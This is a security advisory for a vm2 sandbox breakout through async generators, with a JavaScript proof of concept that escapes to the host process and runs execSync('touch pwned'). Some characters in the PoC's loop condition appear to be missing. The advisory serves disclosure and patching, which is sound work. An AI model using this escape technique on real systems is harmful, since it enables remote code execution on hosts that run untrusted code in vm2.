GHSA-248r-7h7q-cr24 vm2 Has a Sandbox Breakout Using Async Generator

• npm vm2: < 3.11.3 → fixed in 3.11.3

Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details It is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value. PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function* helper() { yield* { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.